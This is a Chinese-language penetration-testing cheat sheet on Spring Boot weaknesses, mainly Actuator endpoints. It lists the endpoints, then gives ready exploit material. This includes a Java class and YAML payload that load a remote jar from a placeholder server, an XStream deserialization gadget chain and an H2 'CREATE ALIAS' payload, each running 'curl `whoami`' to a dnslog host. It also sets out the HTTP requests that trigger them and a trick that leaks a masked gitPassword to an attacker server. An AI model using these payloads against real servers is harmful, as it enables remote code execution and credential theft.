Spring生态比较好,使用Spring Boot的开发者也比较多,整理了一下Spring Boot相关的漏洞整理。
1.如何识别Spring Boot
访问Web,如果WEB页面的icon是绿色的小树叶,并且页面提示
基本可以确定Spring Boot。
2.Spring Boot Actuator未授权访问
关于spring Boot Actuator的endpoit
Http 方法 | 路径 | 描述 |
get | /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
get | /configprops | 描述配置属性(包含默认值)如何注入 Bean |
get | /beans | 描述应用程序上下文里全部的 Bean,以及它们的关系 |
get | /dump | 获取线程活动的快照 |
get | /env | 获取全部环境属性 |
get | /env/{name} | 根据名称获取特定的环境属性值 |
get | /health | 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供 |
get | /info | 获取应用程序的定制信息,这些信息由 info 打头的属性提供 |
get | /mappings | 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系 |
get | /metrics | 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数 |
get | /metrics/{name} | 报告指定名称的应用程序度量值 |
post | /shutdown | 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false) |
get | /trace | 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等) |
get | /auditevents | 显示应用暴露的审计事件 (比如认证进入、订单失败) |
get | /loggers | 显示和修改配置的loggers |
get | /flyway | 显示数据库迁移路径的详细信息 |
get | /liquidbase | 显示Liquibase 数据库迁移的纤细信息 |
get | /scheduledtasks | 显示应用中的调度任务 |
get | /threaddump | 执行一个线程dump |
get | /heapdump | 返回一个GZip压缩的JVM堆dump |
get | /logfile | 返回log file中的内容(如果logging.file或者logging.path被设置) |
3.Spring Boot Actuator 环境属性覆盖
影响范围:
- Spring Boot <=1.4
- Spring Boot 1.5.x (Dalston 版本)
利用前可留意/env端点是否存在spring.cloud.bootstrap.location属性
工具地址:https://github.com/artsploit/yaml-payload
#AwesomeScriptEngineFactory.java
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("curl `whoami`.wonkpo.dnslog.cn");
} catch (IOException e) {
e.printStackTrace();
}
}
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
#yaml-payload.yml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://x.x.x.x/yaml-payload.jar"]
]]
]
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
4.XStream反序列化
影响范围:
- Eureka-Client <1.8.7
利用前可留意/env端点是否存在eureka.client.serviceUrl.defaultZone属性。
这个思路也出现在了上面推荐的文章里,通过/env将eureka.client.serviceUrl.defaultZone属性设置为服务器URL,然后调用/refresh端点。
#x
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>curl `whoami`.wonkpo.dnslog.cn</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
eureka.client.serviceUrl.defaultZone=http://x.x.x.x/x
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
5.H2 RCE
这个RCE最近莫名其妙好多人关注,坦言说他有点人造漏洞的韵味,在此稍微复现下吧,该漏洞仅存在于Spring Boot 2.x版本。
POST /actuator/env HTTP/1.1
Host: 172.19.147.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Type: application/json
Content-Length: 365
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl `whoami`.xxx.dnslog.cn');"}
POST /actuator/restart HTTP/1.1
Host: 172.19.147.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cache-Control: max-age=0
检测工具:https://github.com/rabbitmask/SB-Actuator
6. 当env中存在Druid加密的JDBC
可以看到Druid的公钥和私钥是硬编码在jar中的(https://github.com/alibaba/druid/blob/master/src/main/java/com/alibaba/druid/filter/config/ConfigTools.java)
获取env中的jdbc password,解密即可。
网络已公开此工具,即调用解密函数;
https://github.com/rabbitmask/DruidCrack
7.获取env中的密码
例如:env中存在gitPassword,被处理为*
通过set spring的eureka.client.serviceUrl.defaultZone属性,读取打码的password。
将gitpass这个变量,赋值给eureka.client.serviceUrl.defaultZone属性,然后刷新下应用,在他自动请求我们的恶意地址的时候,便会将gitpass通过401认证的方式传输给我们的恶意地址。
POST /env HTTP/1.1
Host: 0.0.0.0(实际ip或host地址)
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
eureka.client.serviceUrl.defaultZone=http://${gitPassword}@0.0.0.0:8080
refresh后,让app自动获取属性,这样可以把数据发送到我们的服务器上
解开base64,获取到git账户密码。
参考文章
- https://mp.weixin.qq.com/s/QLWcdQ2hrxtPKrL5bDVHLA
- https://mp.weixin.qq.com/s/41B1z6eCqR5D9gl2B1xSeQ
- https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA